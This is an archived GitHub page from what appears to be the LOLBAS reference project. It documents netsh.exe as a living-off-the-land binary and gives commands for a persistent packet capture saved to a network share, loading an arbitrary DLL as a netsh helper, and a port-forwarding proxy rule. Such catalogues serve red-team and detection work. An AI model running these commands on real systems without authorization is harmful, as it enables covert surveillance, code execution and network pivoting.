Skip to content
This repository has been archived by the owner on Dec 11, 2018. It is now read-only.

Latest commit

 

History

History
41 lines (26 loc) · 962 Bytes

Netsh.md

File metadata and controls

41 lines (26 loc) · 962 Bytes

UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.

New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/

Netsh.exe

  • Functions: Execute, Surveillance
netsh trace start capture=yes filemode=append persistent=yes tracefile=\\server\share\file.etl    
netsh trace show status    
    
netsh.exe add helper C:\Path\file.dll	
     
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1

Acknowledgements: *

Code sample: *

Resources:

Full path:

c:\windows\system32\netsh.exe
c:\windows\sysWOW64\netsh.exe

Notes:

Detection: